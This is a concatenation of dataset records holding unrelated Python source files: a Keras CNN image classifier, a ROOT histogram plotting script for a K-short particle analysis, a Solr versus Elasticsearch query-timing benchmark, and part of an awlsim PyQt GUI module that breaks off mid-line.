original\r\n ax = plt.subplot(2, n, i + 1)\r\n plt.imshow(self.images[i])\r\n plt.gray()\r\n ax.get_xaxis().set_visible(False)\r\n ax.get_yaxis().set_visible(False)\r\n ax.title.set_text(self.labels[i])\r\n plt.show()\r\n\r\n def model_design(self):\r\n img_width, img_height = 256, 256\r\n cnn4 = Sequential()\r\n # Note the input shape is the desired size of the image 300x300 with 3 bytes color\r\n # This is the first convolution\r\n cnn4.add(Conv2D(16, (3, 3), activation='relu', input_shape=(img_width, img_height, 3)))\r\n cnn4.add(MaxPooling2D(2, 2))\r\n # The second convolution\r\n cnn4.add(Conv2D(32, (3, 3), activation='relu'))\r\n cnn4.add(MaxPooling2D(2, 2))\r\n # The third convolution\r\n cnn4.add(Conv2D(64, (3, 3), activation='relu'))\r\n cnn4.add(MaxPooling2D(2, 2))\r\n # The fourth convolution\r\n cnn4.add(Conv2D(64, (3, 3), activation='relu'))\r\n cnn4.add(MaxPooling2D(2, 2))\r\n # The fifth convolution\r\n cnn4.add(Conv2D(64, (3, 3), activation='relu'))\r\n cnn4.add(MaxPooling2D(2, 2))\r\n # Flatten the results to feed into a DNN\r\n cnn4.add(Flatten())\r\n # 512 neuron hidden layer\r\n cnn4.add(Dense(512, activation='relu'))\r\n\r\n cnn4.add(Dense(256, activation='relu'))\r\n\r\n cnn4.add(Dense(3, activation='softmax'))\r\n\r\n cnn4.compile(loss='categorical_crossentropy',\r\n optimizer='adam',\r\n metrics=['accuracy'])\r\n cnn4.summary()\r\n return cnn4\r\n\r\n def fit_model(self, classifier):\r\n # print(self.validation_generator.samples// self.batch_size)\r\n\r\n checkpointer = MyEarly_Stopper()\r\n\r\n history = classifier.fit_generator(\r\n self.train_generator,\r\n steps_per_epoch=((self.train_generator.samples)) // self.batch_size,\r\n epochs=self.nepochs, verbose=1,\r\n validation_data=self.validation_generator,\r\n validation_steps=((self.validation_generator.samples)) // self.batch_size, callbacks=[checkpointer])\r\n return history\r\n\r\n def plot_accuracy(self, history, miny=None):\r\n acc = history.history['acc']\r\n\r\n test_acc = history.history['val_acc']\r\n\r\n nepochs = range(len(acc))\r\n\r\n plt.plot(nepochs, acc, label='Acc')\r\n plt.plot(nepochs, test_acc, label='Test_Acc')\r\n if miny:\r\n plt.ylim(miny, 1.0)\r\n plt.title('accuracy')\r\n plt.legend(loc='upper left')\r\n plt.ylim(0.3, 1.2)\r\n plt.show()\r\n\r\n def test(self,classifier):\r\n\r\n\r\n # predicting images\r\n path = path = 'C:\\\\Users\\\\sajjad\\\\OneDrive\\\\Deep\\\\HWs\\\\HW3\\\\data1\\\\imagescc.jpg'\r\n img = image.load_img(path, target_size=(self.img_rows, self.img_cols))\r\n x = image.img_to_array(img)\r\n x = np.expand_dims(x, axis=0)\r\n\r\n images = np.vstack([x])\r\n classes = classifier.predict(images, batch_size=16)\r\n print(classes[0])\r\n if classes[0][2] > 0.5:\r\n print(\"It is a human image\")\r\n else:\r\n print(\"It is a fruit image\")\r\naccuracy_threshold=0.75\r\n\r\nclass MyEarly_Stopper(keras.callbacks.Callback):\r\n def on_epoch_end(self, epoch, logs={}):\r\n if (logs.get('acc') > accuracy_threshold):\r\n print(\"\\nMaximum accuracy has reached, so stop training!!\" + str((accuracy_threshold * 100)))\r\n self.model.stop_training = True\r\n\r\ndef main():\r\n\r\n cnn = Multi_label_image_CNN()\r\n # Question 1. Read data using ImageGenerator and show\r\n # n=2 randomly choosed images\r\n cnn.read_data()\r\n cnn.show_image()\r\n # Question 2. Configure selected architucture for CNN network\r\n # and show summary.\r\n classifier = cnn.model_design()\r\n # Question 4. callback threshold setup\r\n global accuracy_threshold\r\n try:\r\n accuracy_threshold = float(input(\"Please enter accuracy threshold for earlystoping Training( A value in the range of [0.0, 1.0] )\"))\r\n except:# by default callback is inactive, so initialize accuracy_threshold with 1.1\r\n accuracy_threshold = 1.10\r\n # Question 5. compile and fit model\r\n history = cnn.fit_model(classifier)\r\n cnn.plot_accuracy(history, miny=0.95)\r\n\r\n # Question 6. Validate the model using an optional image\r\n cnn.test(classifier)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n\r\n","repo_name":"Sajjad-Tofighy/CNN-image-classification","sub_path":"Multi_label_classifier.py","file_name":"Multi_label_classifier.py","file_ext":"py","file_size_in_byte":6309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34991556626","text":"#################################################################\n# Script to read variable from trees and make MC vs. data plots #\n#################################################################\n# This script reads a histogram created with mcvsdata_fill and does the actual plotting.\nimport ROOT\nimport sys\n\n### Configure input parameters (hard-coded)\nhistfile = '/storage_mnt/storage/user/llambrec/Kshort/histograms/test.root' # file to read histograms\noutfile = '/storage_mnt/storage/user/llambrec/Kshort/python/figure.png' # file to save figure to\ntitle = r'K^{0}_{S} vertex radial distance'\nxaxistitle = 'radial distance (cm)' # set x axis title\nyaxistitle = 'number of vertices' # set y axis title of upper graph\n\n### Configure input parameters (from command line for submission script)\ncmdargs = sys.argv[1:]\nif len(cmdargs)>0:\n\tcoreargs = {'histfile':True,'histtitle':True,'xaxistitle':True,'yaxistitle':True,'outfile':True}\n\tfor arg in cmdargs:\n\t\targname,argval = arg.split('=')\n\t\tif argname == 'histfile': histfile = argval; coreargs['histfile']=True\n\t\telif argname == 'histtitle': title = argval; coreargs['histtitle']=True\n\t\telif argname == 'xaxistitle': xaxistitle = argval; coreargs['xaxistitle']=True\n\t\telif argname == 'yaxistitle': yaxistitle = argval; coreargs['yaxistitle']=True\n\t\telif argname == 'outfile': outfile = argval; coreargs['outfile']=True\n\tif False in coreargs.values():\n\t\tprint('ERROR: the following core arguments were not defined:')\n\t\tfor key in coreargs.keys():\n\t\t\tif(coreargs[key]==False): print(key)\n\t\texit()\n\n### Load histograms and variables\nprint('loading histograms')\nf = ROOT.TFile.Open(histfile)\nnormalization = int(f.Get(\"normalization\")[0])\nif(normalization==3):\n\tnormrange = [f.Get(\"normrange\")[0],f.Get(\"normrange\")[1]]\nif(normalization==1):\n\tlumi = f.Get(\"lumi\")[0]\nelse:\n\tlumi = 0\nmchistlist = []\ni = 0\nwhile True:\n\tif(f.Get(\"mchistn\"+str(i)) == None):\n\t\tbreak\n\tmchistlist.append(f.Get(\"mchistn\"+str(i)))\n\ti += 1\ndatahistlist = []\ni = 0\nwhile True:\n\tif(f.Get(\"datahistn\"+str(i)) == None):\n\t\tbreak\n\tdatahistlist.append(f.Get(\"datahistn\"+str(i)))\n\ti += 1\nprint('found '+str(len(datahistlist))+' data files and '+str(len(mchistlist))+' simulation files.')\n\n# redefine bins, now including under and overflow bins\nnbins = mchistlist[0].GetNbinsX()\nxlow = mchistlist[0].GetXaxis().GetXmin()\nxhigh = mchistlist[0].GetXaxis().GetXmax()\nbins = mchistlist[0].GetXaxis().GetXbins()\n\n### Create canvas and set parameters\nROOT.gROOT.SetBatch(ROOT.kTRUE)\nprint('creating canvas...')\nc1 = ROOT.TCanvas(\"c1\",\"c1\")\nc1.SetCanvasSize(1200,1200)\npad1 = ROOT.TPad(\"pad1\",\"\",0.,0.3,1.,1.)\npad1.Draw()\npad2 = ROOT.TPad(\"pad2\",\"\",0.,0.,1.,0.3)\npad2.Draw()\ntitlefont = 6; titlesize = 60\nlabelfont = 5; labelsize = 50\naxtitlefont = 5; axtitlesize = 50\ninfofont = 6; infosize = 30\nlegendfont = 4; legendsize = 30\n\n### Create pad and containers for stacked and summed histograms\npad1.cd()\npad1.SetBottomMargin(0.03)\npad1.SetLeftMargin(0.15)\npad1.SetTopMargin(0.18)\npad1.SetTicks(1,1)\nprint('creating MC stacked histogram')\nmcstack = ROOT.THStack(\"mcstack\",\"\")\nmchistsum = mchistlist[0].Clone()\nmchistsum.Reset()\nmchistsum.SetStats(False)\n\n### Declare legend\nleg = ROOT.TLegend(0.2,0.7,0.85,0.8)\nleg.SetTextFont(10*legendfont+3)\nleg.SetTextSize(legendsize)\nleg.SetNColumns(2)\nleg.SetBorderSize(0)\n\n### Add MC histograms\nclist = ([ROOT.kAzure-4,ROOT.kAzure+6,ROOT.kViolet,ROOT.kMagenta-9,ROOT.kRed,ROOT.kPink-9,ROOT.kBlue+1])\n# shades of blue and purple\n#clist = [ROOT.kAzure+6]\n#clist = [ROOT.kAzure]\n#clist = [ROOT.kGreen+1,ROOT.kCyan-7,ROOT.kAzure-4,ROOT.kViolet, ROOT.kMagenta-9,ROOT.kRed-4,ROOT.kYellow] # bright, high contrast\n#ROOT.gStyle.SetPalette(1)\nfor i,hist in enumerate(mchistlist):\n\thist.SetStats(False)\n\thist.SetLineColor(ROOT.kBlack)\n\thist.SetLineWidth(1)\n\thist.SetFillColor(clist[i])\n\thist.SetFillStyle(1001)\n\tleg.AddEntry(hist,hist.GetTitle(),\"f\")\n\tmcstack.Add(hist)\n\tmchistsum.Add(hist)\n\n### Stacked histogram layout\nmcstack.Draw(\"HIST\")\n# X-axis layout\nxax = mcstack.GetXaxis()\nxax.SetNdivisions(5,4,0,ROOT.kTRUE)\nxax.SetLabelSize(0)\n# Y-axis layout\n# log scale\npad1.SetLogy()\nmcstack.SetMaximum(mcstack.GetMaximum()*10)\nmcstack.SetMinimum(mcstack.GetMaximum()/1e2)\n# lin scale\n#mcstack.SetMaximum(mcstack.GetMaximum()*1.5)\n#mcstack.SetMinimum(0.)\nyax = mcstack.GetYaxis()\nyax.SetMaxDigits(3)\nyax.SetNdivisions(8,4,0,ROOT.kTRUE)\nyax.SetLabelFont(10*labelfont+3)\nyax.SetLabelSize(labelsize)\nyax.SetTitle(yaxistitle)\nyax.SetTitleFont(10*axtitlefont+3)\nyax.SetTitleSize(axtitlesize)\nyax.SetTitleOffset(1.5)\nmcstack.Draw(\"HIST\")\n\n### Summed histogram layout\nmchistsum.SetStats(False)\nmchistsum.SetLineWidth(0)\nmchistsum.SetFillColor(ROOT.kOrange)\nmchistsum.SetFillStyle(3001)\nmchistsum.Draw(\"SAME E2\")\nleg.AddEntry(mchistsum,\"simulation uncertainty\",\"f\")\n\n### Add data histograms\nprint('creating data points')\n# sum of all data\nif(len(datahistlist)>0):\n\thist0 = datahistlist[0]\n\tfor i,hist in enumerate(datahistlist[1:]):\n\t\thist0.Add(hist)\n\thist0.SetMarkerStyle(20)\n\tleg.AddEntry(hist0,\"observed\",\"ep\")\n\thist0.Draw(\"SAME E1\")\nelse:\n\thist0 = mchistlist[0].Clone()\n\thist0.Reset()\t\n\n### Draw normalization range if needed\nif(normalization==3):\n\tvl1 = ROOT.TLine(normrange[0],mcstack.GetMinimum()/10,\n\t\t\tnormrange[0],mcstack.GetMaximum()*10)\n\tvl1.SetLineStyle(9)\n\tvl1.Draw()\n\tvl2 = ROOT.TLine(normrange[1],mcstack.GetMinimum()/10,\n\t\t\tnormrange[1],mcstack.GetMaximum()*10)\n\tvl2.SetLineStyle(9)\n\tvl2.Draw()\n\n### Title and other information displays\nleg.Draw()\n# title\nttitle = ROOT.TLatex()\t\nttitle.SetTextFont(10*titlefont+3)\nttitle.SetTextSize(titlesize)\nttitle.DrawLatexNDC(0.15,0.92,title)\nif lumi>0:\n\t# additional info\n\ttinfo = ROOT.TLatex()\n\ttinfo.SetTextFont(10*infofont+3)\n\ttinfo.SetTextSize(infosize)\n\tinfo = 'luminosity: {0:.1f}'.format(lumi/1000.)+r' fb^{-1} (13 TeV)'\n\ttinfo.DrawLatexNDC(0.55,0.86,info)\n\n'''for i in range(1,mchistsum.GetNbinsX()):\n\tprint('bin '+str(i)+' of '+str(mchistsum.GetNbinsX()))\n\tprint(hist0.GetBinContent(i))\n\tprint(mchistsum.GetBinContent(i))'''\n\n'''# TEMP: draw vertical lines\nlinestyle = 9\nlinewidth = 2\nlinecolor = ROOT.kRed\ndl1 = ROOT.TLine(2.9,hist.GetMinimum()/10.,\n 2.9,hist.GetMaximum()*1.2)\ndl1.SetLineWidth(linewidth); dl1.SetLineColor(linecolor)\ndl1.SetLineStyle(linestyle)\ndl1.Draw()\ndl2 = ROOT.TLine(6.8,hist.GetMinimum()/10.,\n 6.8,hist.GetMaximum()*1.2)\ndl2.SetLineWidth(linewidth); dl2.SetLineColor(linecolor)\ndl2.SetLineStyle(linestyle)\ndl2.Draw()\ndl3 = ROOT.TLine(10.9,hist.GetMinimum()/10,\n 10.9,hist.GetMaximum()*1.2)\ndl3.SetLineWidth(linewidth); dl3.SetLineColor(linecolor)\ndl3.SetLineStyle(linestyle)\ndl3.Draw()\ndl4 = ROOT.TLine(16.0,hist.GetMinimum()/10,\n 16.0,hist.GetMaximum()*1.2)\ndl4.SetLineWidth(linewidth); dl4.SetLineColor(linecolor)\ndl4.SetLineStyle(linestyle)\ndl4.Draw()\ntinfo = ROOT.TLatex()\ntinfo.SetTextFont(10*infofont+3)\ntinfo.SetTextSize(infosize)\ntinfo.SetTextColor(linecolor)\ntinfo.DrawLatexNDC(0.26,0.55,\"pixel layer 1\")\ntinfo.DrawLatexNDC(0.41,0.5,\"pixel layer 2\")\ntinfo.DrawLatexNDC(0.56,0.45,\"pixel layer 3\")\ntinfo.DrawLatexNDC(0.75,0.4,\"pixel layer 4\")'''\n\n### Create pad for ratio plots\nprint('creating data to MC ratio')\npad2.cd()\npad2.SetLeftMargin(0.15)\npad2.SetBottomMargin(0.4)\npad2.SetTopMargin(0.05)\npad2.SetTicks(1,1)\n\n### Divide simulation by itself to obtain expected uncertainty\nhistratio2 = mchistsum.Clone()\n#histratio2.Divide(mchistsum)\n# (don't use divide as it takes into account error on denominator; \n# but this is not needed since we merely need to scale) (?)\nfor i in range(1,histratio2.GetSize()-1):\n\tdenom = mchistsum.GetBinContent(i)\n\tif not denom==0: # if zero, do nothing\n\t\thistratio2.SetBinContent(i,histratio2.GetBinContent(i)/denom)\n\t\thistratio2.SetBinError(i,histratio2.GetBinError(i)/denom)\nhistratio2.SetStats(False)\nhistratio2.SetTitle(\"\")\nhistratio2.SetLineWidth(0)\nhistratio2.SetFillColor(ROOT.kOrange)\nhistratio2.SetFillStyle(3001)\nhistratio2.Draw(\"E2\")\n# X-axis layout\nxax = histratio2.GetXaxis()\nxax.SetNdivisions(10,4,0,ROOT.kTRUE)\nxax.SetLabelFont(10*labelfont+3)\nxax.SetLabelSize(labelsize)\nxax.SetTitle(xaxistitle)\nxax.SetTitleFont(10*axtitlefont+3)\nxax.SetTitleSize(axtitlesize)\nxax.SetTitleOffset(3.)\n# Y-axis layout\nhistratio2.SetMinimum(0.5)\nhistratio2.SetMaximum(1.5)\nyax = histratio2.GetYaxis()\nyax.SetNdivisions(4,5,0,ROOT.kFALSE)\nyax.SetLabelFont(10*labelfont+3)\nyax.SetLabelSize(labelsize)\nyax.SetTitle('obs./pred.')\nyax.SetTitleFont(10*axtitlefont+3)\nyax.SetTitleSize(axtitlesize)\nyax.SetTitleOffset(1.5)\nhistratio2.Draw(\"E2\")\n\n### Divide data by simulation\nhistratio = hist0.Clone()\n#histratio.Divide(mchistsum)\n# (don't use divide as it takes into account error on denominator; \n# but this is not needed since it is plotted separately) (?)\nfor i in range(1,histratio.GetSize()-1):\n\tdenom = mchistsum.GetBinContent(i)\n\tif not denom==0: \n\t\thistratio.SetBinContent(i,histratio.GetBinContent(i)/denom)\n\t\thistratio.SetBinError(i,histratio.GetBinError(i)/denom)\n\telse: # if zero: set numerator to zero as well as no sensible comparison can be made\n\t\thistratio.SetBinContent(i,0)\n\t\thistratio.SetBinError(i,0)\nhistratio.SetStats(False)\nhistratio.Draw(\"SAME E1\")\nc1.Update()\n\n### Draw unit ratio line\nl = ROOT.TLine(xlow,1.0,xhigh,1.0)\nl.SetLineStyle(9)\nl.Draw()\n\n### Draw normalization range if needed\nif(normalization==3):\n\tvl3 = ROOT.TLine(normrange[0],histratio2.GetMinimum(),\n\t\t\tnormrange[0],histratio2.GetMaximum())\n\tvl3.SetLineStyle(9)\n\tvl3.Draw()\n\tvl4 = ROOT.TLine(normrange[1],histratio2.GetMinimum(),\n\t\t\tnormrange[1],histratio2.GetMaximum())\n\tvl4.SetLineStyle(9)\n\tvl4.Draw()\n\nc1.Update()\nc1.SaveAs(outfile)\n\n### Calculate ratio again (this time with divide to account for error \n### on numerator and denominator simultaneously) and write to text file.\nouttxtfile = open(histfile[0:histfile.rfind('/')+1]+'test.txt','w')\nprint(outtxtfile)\nouttxtfile.write('format: bin value error'+'\\n')\nhistratio3 = hist0.Clone()\nhistratio3.Divide(mchistsum)\nfor i in range(1,histratio3.GetSize()-1):\n\touttxtfile.write(str(i)+'\\t'+str(histratio3.GetBinContent(i))\n\t\t\t\t+'\\t'+str(histratio3.GetBinError(i))+'\\n')\nouttxtfile.close()\n","repo_name":"LukaLambrecht/K0sAnalysis","sub_path":"oldcode/plotting/mcvsdata_plot.py","file_name":"mcvsdata_plot.py","file_ext":"py","file_size_in_byte":10156,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"45552316270","text":"import pysolr\nfrom elasticsearch import Elasticsearch\nfrom Timer import Timer\n\ntimer = Timer()\n\nqueries = [\"Translated_Review:nan\",\n \"Sentiment_Subjectivity:[0.1 TO 0.746]\",\n \"App:*Food* AND Sentiment:Positive AND Translated_Review:*Full* OR Translated_Review:*great* OR \"\n \"Translated_Review:*good* OR Translated_Review:*enjoy*\",\n \"Sentiment_Subjectivity:[0.79 TO 0.82] AND Sentiment_Polarity:0.716666667\",\n \"Keywords:*Parkinson*\",\n \"Keywords:*algorithm* OR Abstract:*algorithm*\",\n \"Keywords:analysis OR Domain:*CS* OR Abstract:system\",\n \"xp_end:32417\",\n \"buybacks:1 AND deaths:1\",\n \"buybacks:0 AND deaths:1 AND damage:0 OR gold_delta:0\"\n ]\n\nindexes = [\"apps_reviews\", \"wos_papers\", \"teamfights_players\"]\n\nsizes = [26863, 26866, 6, 6, 294, 3955, 14926, 237, 26089, 55263]\n\n# def Searching_Solr(index_name, query, size):\n# solr_client = pysolr.Solr('http://localhost:8983/solr/' + index_name + '/')\n# print(\"Solr Results:\")\n# for i in range(5):\n# timer.start_time()\n# response = solr_client.search(query, **{'rows': size})\n# searching_time = timer.finish_time();\n# print(searching_time)\n# # print(len(response))\n# \n# \n# def Searching_Elastic(index_name, query, size):\n# es_client = Elasticsearch('http://localhost:9200/')\n# print(\"Elasticsearch Results:\")\n# for i in range(5):\n# timer.start_time()\n# response = es_client.search(index=index_name, size=size, track_total_hits=True,\n# query={\"query_string\": {\"query\": query}})\n# searching_time = timer.finish_time();\n# print(searching_time)\n# # print(response['hits']['total']['value'])\n\ndef Searching_Solr(index_name, query, size):\n timer.start_time()\n response = pysolr.Solr('http://localhost:8983/solr/' + index_name + '/').search(query, **{'rows': size})\n searching_time = timer.finish_time();\n print(searching_time)\n # print(len(response))\n\n\ndef Searching_Elastic(index_name, query, size):\n timer.start_time()\n response = Elasticsearch('http://localhost:9200/').search(index=index_name, size=size, track_total_hits=True,\n query={\"query_string\": {\"query\": query}})\n searching_time = timer.finish_time();\n print(searching_time)\n # print(response['hits']['total']['value'])\n\n\n\nprint(\"-----------1---------------\")\nSearching_Solr(indexes[0], queries[0], sizes[0])\nSearching_Elastic(indexes[0], queries[0], sizes[0])\nprint(\"-----------2---------------\")\nSearching_Solr(indexes[0], queries[1], sizes[1])\nSearching_Elastic(indexes[0], queries[1], sizes[1])\nprint(\"-----------3---------------\")\nSearching_Solr(indexes[0], queries[2], sizes[2])\nSearching_Elastic(indexes[0], queries[2], sizes[2])\nprint(\"-----------4---------------\")\nSearching_Solr(indexes[0], queries[3], sizes[3])\nSearching_Elastic(indexes[0], queries[3], sizes[3])\nprint(\"-----------5---------------\")\nSearching_Solr(indexes[1], queries[4], sizes[4])\nSearching_Elastic(indexes[1], queries[4], sizes[4])\nprint(\"-----------6---------------\")\nSearching_Solr(indexes[1], queries[5], sizes[5])\nSearching_Elastic(indexes[1], queries[5], sizes[5])\nprint(\"-----------7---------------\")\nSearching_Solr(indexes[1], queries[6], sizes[6])\nSearching_Elastic(indexes[1], queries[6], sizes[6])\nprint(\"-----------8---------------\")\nSearching_Solr(indexes[2], queries[7], sizes[7])\nSearching_Elastic(indexes[2], queries[7], sizes[7])\nprint(\"-----------9---------------\")\nSearching_Solr(indexes[2], queries[8], sizes[8])\nSearching_Elastic(indexes[2], queries[8], sizes[8])\nprint(\"-----------10---------------\")\nSearching_Solr(indexes[2], queries[9], sizes[9])\nSearching_Elastic(indexes[2], queries[9], sizes[9])\n\n\n","repo_name":"aysenurdeniz/elasticsearch-vs-solr","sub_path":"for-python/Queries.py","file_name":"Queries.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26300586262","text":"from __future__ import division, absolute_import, print_function, unicode_literals\nfrom awlsim.common.compat import *\n\nfrom awlsim.gui.valuelineedit import *\nfrom awlsim.gui.blocktreewidget import *\nfrom awlsim.gui.icons import *\nfrom awlsim.gui.util import *\n\n\nclass StateWindow(QWidget):\n\t# Window-close signal\n\tclosed = Signal(QWidget)\n\t# Config-change (address, type, etc...) signal\n\tconfigChanged = Signal(QWidget)\n\n\tdef __init__(self, client, parent=None):\n\t\tQWidget.__init__(self, parent)\n\t\tself.setLayout(QGridLayout(self))\n\t\tpixmap = QPixmap(16, 16)\n\t\tpixmap.fill(QColor(0, 0, 192))\n\t\tself.setWindowIcon(QIcon(pixmap))\n\t\tself.__client = client\n\t\tself.__forceMinimumSize = False\n\n\tdef __updateSize(self):\n\t\ttry:\n\t\t\tparent = self.parent()\n\t\texcept RuntimeError:\n\t\t\treturn\n\t\tif isinstance(parent, StateMdiSubWindow):\n\t\t\twidget = parent\n\t\telse:\n\t\t\twidget = self\n\t\tif self.__forceMinimumSize:\n\t\t\twidget.resize(widget.minimumSizeHint())\n\t\telse:\n\t\t\tsize, hint = widget.size(), widget.minimumSizeHint()\n\t\t\tif size.width() < hint.width() or\\\n\t\t\t size.height() < hint.height():\n\t\t\t\twidget.resize(hint)\n\t\tself.__forceMinimumSize = False\n\n\tdef _updateSize(self, forceMinimum = False):\n\t\tif forceMinimum:\n\t\t\tself.__forceMinimumSize = True\n\t\tQTimer.singleShot(0, self.__updateSize)\n\n\t# Get a list of MemoryArea instances for the memory\n\t# areas covered by this window.\n\tdef getMemoryAreas(self):\n\t\treturn []\n\n\t# Try to write memory to this window.\n\t# The window might reject the request, if this memory\n\t# doesn't belong to it.\n\tdef setMemory(self, memArea):\n\t\treturn False\n\n\tdef setMemories(self, memAreas):\n\t\tfor memArea in memAreas:\n\t\t\tself.setMemory(memArea)\n\n\tdef closeEvent(self, ev):\n\t\tself.closed.emit(self)\n\t\tev.accept()\n\t\tself.deleteLater()\n\n\t# Send a request to the CPU to write memory.\n\tdef _writeCpuMemory(self, memAreas):\n\t\ttry:\n\t\t\tself.__client.writeMemory(memAreas, sync = False)\n\t\texcept AwlSimError as e:\n\t\t\tMessageBox.handleAwlSimError(self,\n\t\t\t\t\"Failed to write to memory\", e)\n\t\texcept MaintenanceRequest as e:\n\t\t\t# writeMemory is asynchronous.\n\t\t\t# So this should not happen.\n\t\t\tassert(0)\n\nclass State_CPU(StateWindow):\n\tdef __init__(self, client, parent=None):\n\t\tStateWindow.__init__(self, client, parent)\n\t\tself.setWindowTitle(\"CPU overview\")\n\t\tself.setWindowIcon(getIcon(\"cpu\"))\n\n\t\tself.label = QLabel(self)\n\t\tfont = self.label.font()\n\t\tfont.setFamily(\"Mono\")\n\t\tfont.setFixedPitch(True)\n\t\tfont.setKerning(False)\n\t\tself.label.setFont(font)\n\t\tself.layout().addWidget(self.label, 0, 0)\n\n\t\tself.label.setText(\"No CPU status available.\\n\"\n\t\t\t\t \"Please put the CPU into RUN mode.\")\n\n\tdef setDumpText(self, text):\n\t\tself.label.setText(text)\n\t\tself._updateSize()\n\nclass AbstractDisplayWidget(QWidget):\n\tEnumGen.start\n\tADDRSPACE_E\t\t= EnumGen.item\n\tADDRSPACE_A\t\t= EnumGen.item\n\tADDRSPACE_M\t\t= EnumGen.item\n\tADDRSPACE_DB\t\t= EnumGen.item\n\tEnumGen.end\n\n\taddrspace2name = {\n\t\tADDRSPACE_E\t: (\"I\", \"Inputs\"),\n\t\tADDRSPACE_A\t: (\"Q\", \"Outputs\"),\n\t\tADDRSPACE_M\t: (\"M\", \"Flags\"),\n\t\tADDRSPACE_DB\t: (\"DB\", \"Data block\"),\n\t}\n\n\taddrspace2memarea = {\n\t\tADDRSPACE_E\t: MemoryArea.TYPE_E,\n\t\tADDRSPACE_A\t: MemoryArea.TYPE_A,\n\t\tADDRSPACE_M\t: MemoryArea.TYPE_M,\n\t\tADDRSPACE_DB\t: MemoryArea.TYPE_DB,\n\t}\n\n\tchanged = Signal()\n\n\tdef __init__(self, stateWindow, addrSpace, addr, width, db, parent=None):\n\t\tQWidget.__init__(self, parent)\n\t\tself.setLayout(QGridLayout(self))\n\t\tself.layout().setContentsMargins(QMargins(0, 10, 0, 0))\n\n\t\tself.stateWindow = stateWindow\n\t\tself.addrSpace = addrSpace\n\t\tself.addr = addr\n\t\tself.width = width\n\t\tself.db = db\n\n\tdef clear(self):\n\t\tfor i in range(self.width // 8):\n\t\t\tself.setByte(i, 0)\n\n\tdef get(self):\n\t\tpass\n\n\t# Set a byte in this display widget.\n\t# offset -> The relative byte offset\n\t# value -> The byte value\n\tdef setByte(self, offset, value):\n\t\tpass\n\n\tdef _showValueValidity(self, valid):\n\t\tif valid:\n\t\t\tpal = self.palette()\n\t\t\tpal.setColor(QPalette.Text, Qt.black)\n\t\t\tself.setPalette(pal)\n\t\telse:\n\t\t\tpal = self.palette()\n\t\t\tpal.setColor(QPalette.Text, Qt.red)\n\t\t\tself.setPalette(pal)\n\nclass BitDisplayWidget(AbstractDisplayWidget):\n\tdef __init__(self, stateWindow, addrSpace, addr, width, db,\n\t\t parent=None):\n\t\tAbstractDisplayWidget.__init__(self, stateWindow, addrSpace,\n\t\t\t\t\t addr, width, db, parent)\n\n\t\tself.cbs = {}\n\t\tself.pbs = {}\n\t\tself.prevButtonStates = {}\n\t\ty = 0\n\t\tfor i in range(self.width - 1, -1, -1):\n\t\t\tframe = QFrame(self)\n\t\t\tframe.setFrameShadow(QFrame.Plain)\n\t\t\tframe.setFrameShape(QFrame.Box)\n\t\t\tframe.setLayout(QHBoxLayout())\n\t\t\tframe.layout().setContentsMargins(QMargins(3, 0, 0, 0))\n\n\t\t\tpb = QPushButton(self)\n\t\t\tpb.setMaximumSize(QSize(13, 13))\n\t\t\tframe.layout().addWidget(pb)\n\t\t\tself.pbs[i] = pb\n\t\t\tself.prevButtonStates[i] = False\n\t\t\tpb.pressed.connect(self.__buttonUpdate)\n\t\t\tpb.released.connect(self.__buttonUpdate)\n\n\t\t\tcb = QCheckBox(str(i), self)\n\t\t\tframe.layout().addWidget(cb)\n\t\t\tself.cbs[i] = cb\n\t\t\tcb.stateChanged.connect(self.changed)\n\n\t\t\tself.layout().addWidget(frame, y, (self.width - i - 1) % 8)\n\t\t\tif i and i % 8 == 0:\n\t\t\t\ty += 1\n\n\tdef __buttonUpdate(self):\n\t\tfor bitNr, pb in self.pbs.items():\n\t\t\tpressed = bool(pb.isDown())\n\t\t\tif pressed == self.prevButtonStates[bitNr]:\n\t\t\t\tcontinue\n\t\t\tself.prevButtonStates[bitNr] = pressed\n\n\t\t\tif self.cbs[bitNr].checkState() == Qt.Checked:\n\t\t\t\tself.cbs[bitNr].setCheckState(Qt.Unchecked)\n\t\t\telse:\n\t\t\t\tself.cbs[bitNr].setCheckState(Qt.Checked)\n\n\tdef get(self):\n\t\tvalue = 0\n\t\tfor bitNr, cb in self.cbs.items():\n\t\t\tif cb.checkState() == Qt.Checked:\n\t\t\t\tvalue |= (1 << bitNr)\n\t\treturn value\n\n\tdef setByte(self, offset, value):\n\t\tbitBase = ((self.width // 8) - 1 - offset) * 8\n\t\tfor bitNr in range(bitBase, bitBase + 8):\n\t\t\tif value & 1:\n\t\t\t\tself.cbs[bitNr].setCheckState(Qt.Checked)\n\t\t\telse:\n\t\t\t\tself.cbs[bitNr].setCheckState(Qt.Unchecked)\n\t\t\tvalue >>= 1\n\nclass NumberDisplayWidget(AbstractDisplayWidget):\n\tdef __init__(self, stateWindow, base, addrSpace, addr, width, db, parent=None):\n\t\tAbstractDisplayWidget.__init__(self, stateWindow, addrSpace,\n\t\t\t\t\t addr, width, db, parent)\n\n\t\tself.base = base\n\t\tself.__currentValue = -1\n\n\t\tself.line = ValueLineEdit(self.__validateInput, self)\n\t\tself.layout().addWidget(self.line)\n\n\t\tself.line.valueChanged.connect(self.changed)\n\n\tdef clear(self):\n\t\tAbstractDisplayWidget.clear(self)\n\t\tself.line.setText(\"invalid address\")\n\n\tdef __convertValue(self, textValue):\n\t\ttry:\n\t\t\tif self.base == 2:\n\t\t\t\ttextValue = textValue.replace('_', '').replace(' ', '')\n\t\t\tvalue = int(textValue, self.base)\n\t\t\tif self.base == 10:\n\t\t\t\tif value > (1 << (self.width - 1)) - 1 or\\\n\t\t\t\t value < -(1 << (self.width - 1)):\n\t\t\t\t\traise ValueError\n\t\t\telse:\n\t\t\t\tif value > (1 << self.width) - 1:\n\t\t\t\t\traise ValueError\n\t\texcept ValueError as e:\n\t\t\treturn None\n\t\treturn value\n\n\tdef __validateInput(self, inputString, pos):\n\t\tif self.__convertValue(inputString) is None:\n\t\t\treturn QValidator.Intermediate\n\t\treturn QValidator.Acceptable\n\n\tdef get(self):\n\t\tvalue = self.__convertValue(self.line.text())\n\t\tif value is None:\n\t\t\treturn 0\n\t\treturn value\n\n\tdef setByte(self, offset, value):\n\t\tmask = ~(0xFF << (self.width - 8 - (offset * 8))) & 